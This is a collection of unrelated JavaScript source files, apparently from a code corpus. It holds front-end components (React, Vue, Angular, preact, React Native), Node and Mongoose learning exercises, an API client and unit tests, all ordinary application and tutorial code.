const toSpeak = new SpeechSynthesisUtterance()
// Handle pause/resume and paused+finished state
if (speechSynthesis.paused) {
speechSynthesis.resume()
if (speechSynthesis.speaking)
return
} else {
if (speechSynthesis.speaking)
return speechSynthesis.pause()
}
// Handle events
toSpeak.onpause = ev => {
console.log(ev.type)
$btnSpeak.textContent = resumeText
}
toSpeak.onresume = ev => {
console.log(ev.type)
$btnSpeak.textContent = pauseText
}
toSpeak.onstart = ev => {
console.log(ev.type)
$btnSpeak.textContent = pauseText
}
toSpeak.onend = ev => {
console.log('Ende nach ' + ev.elapsedTime + ' ms')
$btnSpeak.textContent = startText
}
// Apply settings and text
toSpeak.text = $textfield.textContent
toSpeak.rate = rate
toSpeak.pitch = pitch
toSpeak.volume = volume
speechSynthesis.speak(toSpeak)
})
|
function a() {
function b() {
console.log(myVar);
}
var myVar = 2;
console.log(myVar);
b();
}
var myVar =1;
a();
console.log(Object.keys(trr));
var a = 1;
function printA() {
var b = 1;
function printB() {
var c=2;
function printC() {
var d=3;
console.log(a+b+c+d);
}
printC();
}
printB();
}
printA(); // this creates a scope which gets discarded right after
console.log('end');
return;
let val = 7;
function createAdder() {
function addNumbers(a, b) {
val =10;
let ret = a + b;
return ret;
}
return addNumbers;
}
let adder = createAdder();
let sum = adder(val, 8);
console.log('example of function returning a function: ', sum);
return;
const extModule = require('./Playground/ext-module');
const useLodash = require('./Playground/use-lodash');
const mongoDBClient = require('./Playground/mongoDB-client');
console.log('Start Node.JS');
console.log('Ext Module function use ', extModule.addNumbers(1,2));
console.log('use Lodash library ', useLodash.concatArrays());
const arr = [10, 12, 15, 21];
for (var i = 0; i < arr.length; i++) {
setTimeout(function(t) {
console.log('Index: ' + t + ', element: + arr[t]');
}(i), 1);
}
// mongoDBClient.openConnection();
// mongoDBClient.closeConnection();
|
import { h, render, useState, useEffect } from "@orby/core";
let setter = null;
export default function Router({ children, ...props }) {
const [url, setUrl] = useState(location.pathname);
useEffect(() => {
const handler = setUrl(location.pathname);
addEventListener("popstate", handler);
return () => removeEventListener("popstate", handler);
}, []);
setter = setUrl;
const match = child => {
const path = child.props.path.split("/");
const segments = url.split("/");
const matches = {};
const max = Math.max(segments.length, path.length);
for (let i = 0; i < max; i++) {
if (path[i] && path[i][0] === ":") {
matches[path[i].substring(1)] = decodeURIComponent(segments[i] || "");
} else if (path[i] !== segments[i]) {
return null;
}
}
Object.assign(child.props, matches);
return child;
};
return children.find((child) => match(child));
};
export const Link = ({ children, ...props }) => {
const route = e => {
history.pushState(null, null, props.href);
setter(props.href);
e.preventDefault();
};
return (
<a {...props} onClick={route}>
{children}
</a>
);
};
|
/* eslint-disable */
var $ = require('jquery')
/* global DEBUG_GS */
/**
* Created by jfengjiang on 2015/9/11.
*/
$(function () {
// page stack
var stack = [];
var $container = $('.js_container');
//这里的click事件，它的事件是.js_cell[data-id],也就是class=js_cell，并且有data-id属性
$container.on('click', '.js_cell[data-id]', function () {
//用button这个例子讲，这个id应该是data-id="button"里的button
//然后go就跳转了，也就是push的效果应该是它弄的
var id = $(this).data('id');
go(id);
});
//返回页方法
//location.hash = '#hash1' 和点击后退都会触发`hashchange`，这里操作面的后退操作
//location.hash变了
$(window).on('hashchange', function (e) {
if (/#.+/gi.test(e.newURL)) {
return;
}
//var $top = stack.pop();很明显出栈了
var $top = stack.pop();
//if (!$top) {return;} 是如果栈顶，不做操作
if (!$top) {
return;
}
//给$top添加或删除页面动画的css
$top.addClass('slideOut').on('animationend', function () {
$top.remove();
}).on('webkitAnimationEnd', function () {
$top.remove();
});
});
//跳转页 方法
function go(id){
//push的页面从哪里来呢？
//id是data-id="button"里的button，也就是说我们要根据id=“tpl_button”来找模板里的html。
//只要是class=js_cell，并且有data-id属性的就会触发点击时间，根据tpl_button里的内容显示（push）
//这就是push，跳转到子页的方法
var $tpl = $($('#tpl_' + id).html()).addClass('slideIn').addClass(id);
//$container.append($tpl);是dom元素插入
$container.append($tpl);
//stack.push($tpl); 视图栈中push最新的页面
stack.push($tpl);
//location.hash = '#' + id;是pushstate更改url地址
location.hash = '#' + id;
//下面是页面的动画而添加或删除的class
$($tpl).on('webkitAnimationEnd', function (){
$(this).removeClass('slideIn');
}).on('animationend', function (){
$(this).removeClass('slideIn');
});
// 消息提醒
if (id == 'cell') {
$('.js_tooltips').show();
setTimeout(function (){
$('.js_tooltips').hide();
}, 3000);
}
}
if (/#.*/gi.test(location.href)) {
go(location.hash.slice(1));
}
// toast
$container.on('click', '#showToast', function () {
$('#toast').show();
setTimeout(function () {
$('#toast').hide();
}, 5000);
});
$container.on('click', '#showLoadingToast', function () {
$('#loadingToast').show();
setTimeout(function () {
$('#loadingToast').hide();
}, 5000);
});
$container.on('click', '#showDialog1', function () {
$('#dialog1').show();
$('#dialog1').find('.weui_btn_dialog').on('click', function () {
$('#dialog1').hide();
});
});
$container.on('click', '#showDialog2', function () {
$('#dialog2').show();
$('#dialog2').find('.weui_btn_dialog').on('click', function () {
$('#dialog2').hide();
});
})
});
|
import Section from "./abstract/Section";
class Cell extends Section {}
export default Cell;
|
import React from "react";
import "./StepCounter.scss";
const StepCounter = props => (
<span className="step-counter">
{props.currentStep}/{props.stepSum}
</span>
);
export default StepCounter;
|
import React from 'react';
import Member from './member.js';
import * as actions from "./actions";
import {connect} from 'react-redux';
import _ from 'lodash';
import $ from 'jquery';
import classnames from 'classnames';
const Container = React.createClass({
propTypes: {
selectMember : React.PropTypes.func.isRequired,
updateCoordinates : React.PropTypes.func.isRequired,
deselectMember : React.PropTypes.func.isRequired,
members : React.PropTypes.arrayOf(React.PropTypes.element).isRequired,
isShowingMode : React.PropTypes.bool.isRequired,
},
fatherConnections : [],
wifeConnections : [],
startScrolling : false,
mousePosition : {
x : undefined,
y : undefined
},
downPosition : {
x : undefined,
y : undefined
},
calculateSvgSize(members) {
let maxY = 0;
let maxX = 0;
const svgSelector = $('#mainSvg');
members.forEach((member) => {
if (member.y > maxY) {
maxY = member.y;
}
if (member.x > maxX) {
maxX = member.x;
}
});
svgSelector.css('height', maxY + 300 + 'px');
svgSelector.css('width', maxX + 300 + 'px');
},
getFatherLinks(members) {
let connections = [];
members.forEach((member, index) => {
if (member.fatherId) {
const father = members.find((m)=> { return m.id === member.fatherId});
if (father) {
connections.push({
x1 : member.x + 50,
y1 : member.y + 50,
x2 : father.x + 50,
y2 : father.y + 50,
id : index
});
}
}
});
this.fatherConnections = connections;
},
getWifeLinks(members) {
let connections = [];
members.forEach((member, index) => {
if (member.wifeId) {
const wife = members.find((m)=> { return m.id === member.wifeId});
if (wife) {
connections.push({
x1 : member.x + 50,
y1 : member.y + 50,
x2 : wife.x + 50,
y2 : wife.y + 50,
id : index
});
}
}
});
this.wifeConnections = connections;
},
componentWillReceiveProps(nextProps) {
this.getFatherLinks(nextProps.members);
this.getWifeLinks(nextProps.members);
this.calculateSvgSize(nextProps.members);
},
onMemberSelect(memberId, isOff) {
this.props.selectMember(memberId, isOff);
},
onCoordinatesChanged(x, y, id) {
this.props.updateCoordinates(id, x, y);
},
onMouseDown(e) {
this.startScrolling = true;
this.mousePosition = {
x : e.clientX,
y : e.clientY
};
this.downPosition = Object.assign({}, this.mousePosition);
},
onMouseMove(e) {
const containerSelector = $('.svg-container');
if (this.startScrolling) {
const delta = {
x : e.clientX - this.mousePosition.x,
y : e.clientY - this.mousePosition.y
};
containerSelector.scrollTop(containerSelector.scrollTop() - delta.y);
containerSelector.scrollLeft(containerSelector.scrollLeft() - delta.x);
this.mousePosition = {
x : e.clientX,
y : e.clientY
}
}
},
onMouseUp(e) {
const delta = {
x : e.clientX - this.downPosition.x,
y : e.clientY - this.downPosition.y
};
if ( Math.abs(delta.x) + Math.abs(delta.y) < 4) {
this.props.deselectMember();
}
this.startScrolling = false;
},
onMouseOut() {
this.startScrolling = false;
},
renderConnections() {
return (
this.fatherConnections.map((line) => {
return (
<line
x1={line.x1}
y1={line.y1}
x2={line.x2}
y2={line.y2}
key={line.id}
strokeWidth="2"
stroke="black"
/>
)
})
);
},
renderWifeConnections () {
return (
this.wifeConnections.map((line) => {
return (
<line
x1={line.x1}
y1={line.y1}
x2={line.x2}
y2={line.y2}
key={line.id}
strokeWidth="4"
stroke="red"
/>
)
})
);
},
renderMembers() {
return (
this.props.members.map((member) => {
return (
<Member
key={member.id}
x={member.x}
y={member.y}
id={member.id}
name={member.name}
years={member.years}
photo={member.photo}
fatherId={member.fatherId}
isSelected={member.isSelected}
onCoordinatesChanged={this.onCoordinatesChanged}
onSelect={this.onMemberSelect}
/>
)
})
);
},
render: function(){
const containerClassNames = classnames({
'svg-container' : true,
'svg-container--padding' : !this.props.isShowingMode
});
return (
<div className={containerClassNames}>
<svg
id="mainSvg"
className="svg"
cursor="pointer"
onMouseDown={this.onMouseDown}
onMouseMove={this.onMouseMove}
onMouseUp={this.onMouseUp}
onMouseOut={this.onMouseOut}
>
{
this.renderConnections()
}
{
this.renderWifeConnections()
}
{
this.renderMembers()
}
</svg>
</div>
);
}
});
function addSelected(members, selectedId) {
let copyMembers = _.cloneDeep(members);
let selected = copyMembers.find((m) => {return m.id === selectedId});
if (selected) {
selected.isSelected = true;
}
return copyMembers;
}
function mapStateToProps (store) {
return {
members: addSelected(store.members.members, store.members.selectedId)
}
}
function mapDispatchToProps(dispatch) {
return {
deselectMember : () => {
dispatch(actions.deselectMember());
},
updateCoordinates : (id, x, y) => {
dispatch(actions.updateCoordinates(id, x, y));
},
selectMember : (memberId, isOff) => {
dispatch(actions.selectMember(memberId, isOff));
}
}
}
export default connect(mapStateToProps, mapDispatchToProps)(Container);
|
let nombre ="hola"
var pais ="mexico"
var continente="latinoamerica"
var antiguedad = 2021
var pais_y_continente = pais+ " "+continente
var pais_y_continente = pais+ " "+continente
alert(pais_y_continente);
console.log(pais_y_continente, antiguedad);
console.log(nombre)
|
var bmi = function(weight,height){
var scale = weight /(height*height);
if(scale<18.5) return "Underweight";
else if(scale<25) return "Normal Weight";
else if(scale<30) return "Overweight";
else return "Obese";
}
console.log(bmi(73,1.778))
|
const axios = require('axios')
const {
NOTE_SERVICE_USERNAME: username,
NOTE_SERVICE_PASSWORD: password,
NOTE_SERVICE_URL: noteServiceUrl
} = process.env
class AnnotationService {
constructor () {
this.apiToken = null
this.tokenIssueDate = null
}
/**
* Login and set the api token
* @returns
* @memberof AnnotationService
*/
login () {
return axios
.post(`${noteServiceUrl}/api/v1/login`, { username, password })
.then(({ data }) => {
this.apiToken = data.token
this.tokenIssueDate = Date.now()
})
}
/**
* Get all notes for a period and client urn
*
* @param {*} clientUrn
* @param {string} [to='2020-08-07']
* @param {string} [from='2020-06-01']
* @returns
* @memberof AnnotationService
*/
async getNotes (clientUrn, to = '2020-08-07', from = '2020-06-01') {
await this.checkTokenAge()
return axios.get(`${noteServiceUrl}/api/v1/notes?access_token=${this.apiToken}&clientUrn=${clientUrn}&searchBy=createdAt&to=${to}&from=${from}`)
}
/**
* Get all cases for a period and client urn
*
* @param {*} clientUrn
* @param {string} [to='2020-08-07']
* @param {string} [from='2020-06-01']
* @returns
* @memberof AnnotationService
*/
async getCases (clientUrn, to = '2020-08-07', from = '2020-06-01') {
await this.checkTokenAge()
return axios.get(`${noteServiceUrl}/api/v1/cases?access_token=${this.apiToken}&clientUrn=${clientUrn}&searchBy=closedDate&to=${to}&from=${from}`)
}
/**
*
*
* @returns
* @memberof AnnotationService
*/
async getCategories () {
await this.checkTokenAge()
return axios.get(`${noteServiceUrl}/api/v1/categories?access_token=${this.apiToken}`)
}
checkTokenAge () {
const now = Date.now()
const diff = (now - this.tokenIssueDate) / 3600000
if (diff >= 23) {
return this.login()
}
}
updateNote (id, update) {
return axios.put(`${noteServiceUrl}/api/v1/note/${id}?access_token=${this.apiToken}`, update)
}
}
module.exports = new AnnotationService()
|
function Conversor() {
/* Atributos */
this.millas = 0;
this.kilometros = ' <ingrese millas> ';
/* Metodos */
this.convertir = function() {
this.kilometros = this.millas * 1.60934;
};
}
|
var mongoose = require('mongoose');
var Student = require('./models/student')
var dbURI = 'mongodb://localhost:27017/3b';
mongoose.connect(dbURI, { useNewUrlParser: true, useCreateIndex: true, useUnifiedTopology: true });
mongoose.connection.on('connected', () => {
console.log(`Mongoose connected to ${dbURI}`);
/*
var student1 = new Student({name: 'Jens', grade: 12});
student1.save(function (err, Student) {
if (err) return console.error(err);
console.log(Student.name + " saved ");
});
var student2 = new Student({name: 'Peter', grade: 7});
student2.save(function (err, Student) {
if (err) return console.error(err);
console.log(Student.name + " saved ");
});
var student3 = new Student({name: 'Ole', grade: 4});
student3.save(function (err, Student) {
if (err) return console.error(err);
console.log(Student.name + " saved ");
});
*/
var query = { name: 'Jens' };
Student.deleteOne(query, function (err, result){
if(err){
console.log("Query Error")
} else {
console.log(query.name +" deleted ");
}
});
});
mongoose.connection.on('error', err => {
console.log('Mongoose connection error:', err);
});
mongoose.connection.on('disconnected', () => {
console.log('Mongoose disconnected');
});
// For app termination
process.on('SIGINT', () => {
gracefulShutdown('app termination', () => {
process.exit(0);
});
});
const gracefulShutdown = (msg, callback) => {
mongoose.connection.close( () => {
console.log(`Mongoose disconnected through
${msg}`);
callback();
});
};
|
import Vue from 'vue'
import App from './App.vue'
import axios from 'axios'
import Vuelidate from 'vuelidate'
import router from './router'
import store from './store'
Vue.use(Vuelidate)
// Sets up the axios url to be used globally
axios.defaults.baseURL = 'https://vue-axios-cc3ce.firebaseio.com'
// Some examples of axios headers being used globally
axios.defaults.headers.common['Authorization'] = 'something here'
axios.defaults.headers.get['Accepts'] = 'application/json'
// Some examples of axios interceptors
const reqInterceptor = axios.interceptors.request.use(config => {
console.log('Request Interceptor', config)
return config
})
const resInterceptor = axios.interceptors.response.use(res => {
console.log('Response Interceptor', res)
return res
})
// Some examples of interceptor ejectors. Will prevent the interceptors from occuring when uncommented
// axios.interceptors.request.eject(reqInterceptor)
// axios.interceptors.response.eject(resInterceptor)
new Vue({
el: '#app',
router,
store,
render: h => h(App)
})
|
import helpers, { TaggedLogger } from './index';
describe('/helpers', () => {
it('should export all functions as default', () => {
expect(typeof helpers).toBe('object');
expect(typeof helpers.TaggedLogger).toBe('function');
});
it('should export as named export', () => {
expect(typeof TaggedLogger).toBe('function');
});
});
|
const fs = require('fs');
const colors = require('colors');
const creaArchivo = async(base = 5, listar = false, hasta = 10) => {
try {
let salida = '',
archivo = '';
for (let i = 1; i <= hasta; i++){
salida += `${colors.green(base)} ${'X'.white} ${colors.red(i)} ${'='.green} ${colors.white(base*i)}\n`;
archivo += `${base} X ${i} = ${base*i}\n`;
}
if ( listar ) {
console.log('==================='.rainbow);
// console.log(` Tabla del ${base}`);
console.log(' Tabla del ', colors.blue(base));
console.log('==================='.rainbow);
console.log(salida);
}
// Utilizando la libreria FileSystem para la creacion de archivos
// https://nodejs.org/dist/latest-v14.x/docs/api/fs.html#fs_fs_writefile_file_data_options_callback
// fs.writeFile(`Tabla-${base}.txt`, salida, (err) => {
// if ( err ) throw err;
// console.log(`Tabla-${base}.txt creada`);
// });
fs.writeFileSync(`./salida/Tabla-${base}.txt`, archivo); // Creacion del archivo
return `Tabla-${base}.txt`;
} catch (error) {
throw error; // Dispoaro del reject, control de errores
}
}
module.exports = {
creaArchivo,
// creaArchivo: creaArchivo // Redundante, en estos casos se pasa como la linea anterior
};
|
var app = angular.module('ic', ['ngRoute', 'ui.bootstrap']);
app.config(function($routeProvider, $locationProvider) {
$routeProvider
.when('/coordinator',{
templateUrl : 'views/company/company_login'
})
.when('/coordinator/home', {
templateUrl : 'views/company/company_home',
})
.when('/coordinator/fee', {
templateUrl : 'views/company/ic_home_fee',
})
.when('/coordinator/resume_verify',{
templateUrl : 'views/company/ic_resume_verify'
})
.when('/',{
templateUrl : '/',
})
.when('/404', {
templateUrl : 'views/404',
})
.otherwise({
redirectTo: '/404'
});
$locationProvider.html5Mode(true);
});
app.run( function($rootScope, $location, $http, $route, $window) {
$rootScope.copyObject = function(object) {
return JSON.parse(JSON.stringify(object));
}
$rootScope.logout = function(){
$http.get("/logout").success(function(response) {
$rootScope.loggedIn = false;
$location.path("/recruiter/");
});
}
$rootScope.isCurrentPage = function(str){
if($location.path() === str){
return true;
}
return false;
}
$rootScope.$on( "$routeChangeStart", function(event, next, current) {
if(next.templateUrl == "/"){
$window.location.reload();
}
if(next.templateUrl == "views/ic_login") {
$rootScope.loggedIn = false;
$http.get("/coordinator/is_authenticated").success(function(response) {
if(response.authenticated) {
$rootScope.loggedIn = true;
$location.path("/coordinator/home");
}
});
}
else{
$rootScope.loggedIn = true;
}
});
});
|
/**
* @typedef {Function} <propertiesPanel.showEntry> callback
*
* @example
*
* useEvent('propertiesPanel.showEntry', ({ focus = false, ...rest }) => {
* // ...
* });
*
* @param {Object} context
* @param {boolean} [context.focus]
*
* @returns void
*/
/**
* @typedef {Function} <propertiesPanel.showError> callback
*
* @example
*
* useEvent('propertiesPanel.showError', ({ focus = false, message, ...rest }) => {
* // ...
* });
*
* @param {Object} context
* @param {string} context.message
* @param {boolean} [context.focus]
*
* @returns void
*/
import { createContext } from 'preact';
const EventContext = createContext({ eventBus: null });
export default EventContext;
|
import Joi from 'joi';
import Product from '../models/product';
class ProductCtrl {
constructor() {
this.CreateSchema = Joi.object().keys({
vehicle: Joi.string().max(32).required(),
title: Joi.string().max(255).required(),
description: Joi.string().max(2000).required(),
price: Joi.number().precision(2).required(),
barcode: Joi.string().max(32).required(),
category: Joi.string().max(32).required()
});
this.create = this.create.bind(this);
}
create(request, reply) {
if (request.method === 'post') {
Joi.validate(request.payload, this.CreateSchema, (err, val) => {
let message = 'Oops something went wrong.';
if (err) {
return reply.view('products/new', { error: message })
.code(422); // Unprocessable Entity
}
Product.create(val, (err, product) => {
if (err) {
return reply().code(422); // Unprocessable Entity
}
product.save();
reply.redirect('/products');
});
});
} else {
reply.view('products/new');
}
}
getAll(request, reply) {
Product.find({}, (err, products) => {
if (err) {
return reply(err).code(422); // Unprocessable Entity
}
reply.view('products/all', { products });
});
}
}
export default new ProductCtrl();
|
// shared settings
export default {
viewEngine: {
proxyed: true,
upstream: 'http://localhost:3000',
name: 'next',
ext: '.jsx', // template extension
options: {
// options to be passed to view engine
},
},
}
|
import axios from 'axios'
import jwt from 'jsonwebtoken'
import {ROOT_API} from "../types/types";
let headers = {}
let body = {}
// const source = axios.CancelToken.source();
const axiosInstance = axios.create({
baseURL: ROOT_API,
headers:{
...headers,
"Authorization":localStorage.getItem("token"),
},
data:{
...body
}
})
axiosInstance.isCancel = axios.isCancel;
axiosInstance.interceptors.response.use(
(res)=>
new Promise((resolve,reject)=>{
resolve(res)
}),
(err)=>{
if (!err.response){
return new Promise((resolve,reject)=> {
reject(err)
})
}
if (err.response.status === 401){
console.log('error')
}else{
return new Promise((resolve,reject)=> {
reject(err)
})
}
}
)
export default axiosInstance;
|
import {
getTasks,// 1 查询所有的任务
personCensus,// 21 人员统计
taskCensus,// 22 任务统计
getTaskCountByStatus,//12任务分类统计
} from '@/services/api';
export default {
name: 'orderF',
state: { rst: [] },
effects: {
// A 查询所有的任务
*getTasks({ payload, callback }, { call }) {
const response = yield call(getTasks, payload);
callback(response);
},
// B 查询所有的任务
*getTasksB({ payload, callback }, { call }) {
const response = yield call(getTasks, payload);
callback(response);
},
// C 查询所有的任务
*getTasksC({ payload, callback }, { call }) {
const response = yield call(getTasks, payload);
callback(response);
},
// 21 人员统计
*personCensus({ callback }, { call }) {
const response = yield call(personCensus);
callback(response);
},
// 22 任务统计
*taskCensus({ payload, callback }, { call }) {
const response = yield call(taskCensus, payload);
callback(response);
},
// 12 任务分类统计
*getTaskCountByStatus({ callback }, { call }) {
const response = yield call(getTaskCountByStatus);
callback(response);
},
},
reducers: {},
};
|
import { expect, request, sinon } from '../../test-helper'
import app from '../../../app'
import Subscribe from '../../../src/use_cases/subscribe'
describe('Integration | Routes | subscriptions route', () => {
describe('POST /api/subscriptions', () => {
const email = 'mail@recontact.me'
beforeEach(() => {
sinon.stub(Subscribe, 'subscribe')
})
afterEach(() => {
Subscribe.subscribe.restore()
})
it('should call Subscribe#subscribe', done => {
// given
const persistedSubscription = { id: 1, email: 'mail@recontact.me', lang: 'en' }
Subscribe.subscribe.resolves({ subscription: persistedSubscription, created: false })
// when
request(app)
.post('/api/subscriptions')
.send({ email, lang: 'en' })
.expect('Content-Type', 'application/json; charset=utf-8')
.expect(200, (err, res) => {
// then
expect(Subscribe.subscribe).to.have.been.calledWith({ email: 'mail@recontact.me', lang: 'en' })
expect(res.body).to.deep.equal(persistedSubscription)
done()
})
})
it('should return 200 when a subscription already exists', () => {
// given
Subscribe.subscribe.resolves({ subscription: {}, created: false })
// when
return request(app)
.post('/api/subscriptions')
.send({ email })
.expect(200)
})
it('should return 201 when the subscription did not exist for the given email', () => {
// given
Subscribe.subscribe.resolves({ subscription: {}, created: true })
// when
return request(app)
.post('/api/subscriptions')
.send()
.expect(201)
})
it('should return 403 when subscription service throws an error', () => {
// given
Subscribe.subscribe.rejects(new Error('Some error'))
// when
return request(app)
.post('/api/subscriptions')
.send()
.expect(403)
})
})
})
|
import React, { Component } from 'react'
import Toolbar from '@material-ui/core/Toolbar';
import Typography from '@material-ui/core/Typography';
export default class Home extends Component {
render() {
return (
<main>
<Toolbar/>
<Typography paragraph>
Welcome to
</Typography>
<Typography paragraph>
Marks Recorder..!!
</Typography>
</main>
)
}
}
|
var Middleware = require('..');
var expect = require('chai').expect;
var middleware;
var stack;
var error = new Error('thrown');
// middleware
function middle(req, res, next) {
req.middle = true;
return next();
}
function ware(req, res, next) {
req.ware = true;
return next();
}
function none(req, res, next) {
req.none = true;
}
function promise(req, res, next) {
return new Promise(function(resolve) {
req.promise = true;
resolve();
})
}
function throws(req, res, next) {
throw error;
}
function reject(req, res, next) {
return next(error);
}
function async(req, res, next) {
return new Promise(function(resolve, reject) {
setTimeout(function() {
try {
res(req.none).to.be.undefined;
req.async = true;
resolve();
} catch (e){
reject(e);
}
},0)
})
}
describe('Middleware', function(){
it('should work as a constructor', function() {
expect(new Middleware()).to.be.an.instanceof(Middleware);
})
it('should work as a function', function() {
expect(Middleware()).to.be.an.instanceof(Middleware);
})
it('should work as a mixin', function() {
var object = {}; Middleware.call(object);
expect(object.use).to.be.an.instanceof(Function);
expect(object.run).to.be.an.instanceof(Function);
})
beforeEach(function(){
stack = [];
middleware = new Middleware(stack);
});
describe('#use(middleware)', function(){
it('should return itself for chaining', function(){
expect(middleware.use(ware)).to.equal(middleware);
});
it('should add ware to stack', function() {
middleware.use(ware);
expect(stack.length).to.equal(1);
expect(stack[0]).to.equal(ware);
});
});
describe('#run(request, response)', function(){
var request, response;
beforeEach(function(){
request = {};
response = expect;
middleware
.use(middle)
.use(ware);
});
it('should return promise', function(){
expect(middleware.run().then).to.be.an.instanceof(Function);
});
it('should run as long as middleware returns next()', function(){
middleware.use(none).use(promise);
return middleware.run(request, response).then(function() {
expect(request.middle).to.be.true;
expect(request.ware).to.be.true;
expect(request.none).to.be.true;
expect(request.promise).to.be.undefined;
})
});
it('should stop on thrown error', function(){
middleware.use(throws).use(none);
return middleware.run(request, response).catch(function(e) {
expect(e).to.equal(error);
expect(request.middle).to.be.true;
expect(request.ware).to.be.true;
expect(request.none).to.be.undefined;
});
});
it('should stop on rejected promise', function(){
function ready(e) {
expect(e).to.equal(error);
expect(request.middle).to.be.true;
expect(request.ware).to.be.true;
expect(request.none).to.be.undefined;
}
middleware.use(reject).use(none);
return middleware.run(request, response).then(ready,ready);
});
it('should wait for async operation to complete', function(){
middleware.use(async).use(none);
return middleware.run(request, response).then(function(e) {
expect(request.middle).to.be.true;
expect(request.ware).to.be.true;
expect(request.async).to.be.true;
expect(request.none).to.be.true;
});
});
});
});
|
import React, { Component } from 'react'
// eslint-disable-next-line import/no-webpack-loader-syntax
import worker from 'workerize-loader!./../Fibonacci.worker'
class Fibonacci extends Component {
state = {
number: '',
isCalculating: false,
// number for who the fibonacci was calcuated
exNumber: 0,
fibonacci: 0
}
componentDidMount = () => {
this.toggleWebWorker()
}
toFixed = (x) => {
if (Math.abs(x) < 1.0) {
let e = parseInt(x.toString().split('e-')[1])
if (e) {
x *= Math.pow(10, e - 1)
x = '0.' + (new Array(e)).join('0') + x.toString().substring(2)
}
} else {
let e = parseInt(x.toString().split('+')[1])
if (e > 20) {
e -= 20
x /= Math.pow(10, e)
x += (new Array(e + 1)).join('0')
}
}
return x
}
fibonaciHandler = (n) => {
if (window.disableWebWorker)
return this.calcFibonacci(n)
this.setState({
isCalculating: true,
exNumber: n
})
// using WORKER
let fibonacciWorker = new worker()
return fibonacciWorker.calcFibonacci(n).then(fibonacci => {
fibonacciWorker.terminate()
return this.setState({
isCalculating: false,
fibonacci: fibonacci
})
})
}
calcFibonacci = (n) => {
this.setState({
isCalculating: true,
exNumber: n
}, () => {
let a = 0, b = 1, c, i
if (n === 0)
return this.setState({
isCalculating: false,
fibonacci: 0
})
for (i = 2; i <= n; i++) {
c = a + b
a = b
b = c
}
return this.setState({
isCalculating: false,
fibonacci: this.toFixed(b)
})
})
}
toggleWebWorker = () => {
let disableWebWorker = window.disableWebWorker
window.disableWebWorker = !disableWebWorker
this.forceUpdate()
}
onChangeNumber = (event) => {
this.setState({
number: event.target.value
})
}
render() {
let ans, bgColor
console.log(this.state.isCalculating)
if (this.state.isCalculating) {
ans = 'calculating...'
bgColor = 'rgba(255, 0, 0, 0.2)'
} else {
ans = 'Answer is ' + this.state.fibonacci
bgColor = 'rgba(0, 255, 0, 0.2)'
}
return (
<div style={{
height: '200px',
textAlign: 'center',
display: 'inline-block',
boxShadow: '0 0 1px 1px rgba(0, 0, 0, 0.2)',
borderRadius: '2px',
padding: '8px 12px',
backgroundColor: bgColor,
margin: '4px',
position: 'relative'
}}>
<h2>Fibonacci Sequence</h2>
<div style={{
position: 'absolute',
top: 8,
right: 8,
backgroundColor: 'rgba(0, 0, 0, 0.8)',
color: 'white',
padding: '4px 8px',
borderRadius: 3,
display: 'flex',
cursor: 'pointer',
alignItems: 'center'
}}
onClick={this.toggleWebWorker}
>
<div style={{ fontSize: 12 }}>Web Worker</div>
<div style={{
fontWeight: 'bold',
marginLeft: 8,
color: window.disableWebWorker ? 'red' : 'green'
}}>{window.disableWebWorker ? 'OFF' : 'ON'}</div>
</div>
<h3>
{'N = ' + this.state.exNumber}
</h3>
<div>{ans}</div>
<input type='number'
onChange={this.onChangeNumber}
style={{
padding: '4px 8px',
outline: 'none',
border: 'none',
borderRadius: '2px',
margin: '4px',
fontSize: '16px'
}}
placeholder='Enter number...' />
<button
style={{
padding: '4px 8px',
outline: 'none',
border: 'none',
borderRadius: '2px',
margin: '4px',
cursor: 'pointer'
}}
onClick={() => this.fibonaciHandler(+this.state.number)}
>
Calc
</button>
</div>
)
}
}
export default Fibonacci
|
import React, {Component} from 'react';
import {
Platform,
StyleSheet,
Text,
View,
Modal,
Alert,
FlatList,
TouchableWithoutFeedback, Image, ScrollView
} from 'react-native';
import Header from "../CommonModules/Header";
import PageListView from 'react-native-page-listview';
import px2dp from "../tools/px2dp";
import {Toast,feach_request} from '../tools/public';
import Loading from '../CommonModules/Loading';
import constant from "../tools/constant";
export default class EventList extends Component{
static navigationOptions = {
header: null
};
constructor(props){
super(props);
this.state = {
listData:[],
loading:true,
refresh:false
}
this.renderRow=this.renderRow.bind(this);
}
//跳转到详情页
goDetail(rowData){
// this.props.navigation.navigate('MsgDetail',{mId:rowData.mId})
}
//列表渲染
renderRow=(rowData,index)=>{
return(
<TouchableWithoutFeedback onPress={()=>{this.goDetail(rowData)}}>
<View style={styles.list_item_wrap}>
<View style={{flex:5,paddingRight:px2dp(10)}}>
<Text style={[styles.msg_title,styles.line_25]} numberOfLines={1}>{rowData.person?'rowData.person.name':''}{rowData.hint?rowData.hint:'无'}</Text>
<View style={styles.img_wrap}>
{
rowData.avatar?(
<Image
style={[styles.img_style,styles.mr_15]}
source={{uri: `${ constant.url}${rowData.avatar}`}}
/>
):(null)
}
{
rowData.picture?(
<Image
style={styles.img_style}
source={{uri: `${ constant.url}${rowData.picture}`}}
/>
):(null)
}
</View>
<View style={styles.img_wrap}>
<Text style={[styles.msg_time,styles.line_25,styles.mr_15]}>{rowData.event_class==0?'陌生人消息':(rowData.event_class==1?'出行消息':(rowData.event_class==3?'布控消息':'部库消息'))}</Text>
<Text style={[styles.msg_time,styles.line_25]}>{rowData.book_time}</Text>
</View>
</View>
<View style={{flex:1,paddingTop:px2dp(15)}}>
<View style={[styles.state_wrap,rowData.act_id?styles.deal_state:'']}>
<Text style={{fontSize:px2dp(14),color: '#fff'}}>{rowData.act_id?'处理中':'未处理'}</Text>
</View>
</View>
</View>
</TouchableWithoutFeedback>
);
};
//请求数据
_request(callBack,page){
feach_request(`/event/list?pagenum=${page}&pagesize=10`,'GET')
.then((data)=>{
if(data.code==0){
this.setState({
loading:false
});
callBack(data.data)
}
})
.catch((err)=>{
console.log(err);
Toast('网络错误～');
})
};
//下拉刷新
refresh=(callBack)=>{
this._request(callBack,1)
};
//上拉加载
loadMore=(page,callback)=>{
this._request(callback,page)
};
render(){
const { navigate } = this.props.navigation;
return(
<View style={{flex:1,backgroundColor: '#fcfcfc'}}>
<Header title={'报警事件'} navigate={this.props.navigation}/>
<Loading loading={this.state.loading}/>
<PageListView
pageLen={10}
renderRow={this.renderRow}
refresh={this.refresh}
loadMore={this.loadMore}
ref={(r)=>{!this.PL&&(this.PL=r)}}
/>
</View>
)
}
}
const styles = StyleSheet.create({
flex:{
flex:1
},
flex_space_between:{
flexDirection: 'row',
justifyContent: 'space-between',
alignItems:'center'
},
list_item_wrap:{
padding:px2dp(15),
borderBottomWidth:px2dp(1),
borderBottomColor:'#F0F0F0',
flexDirection:'row'
},
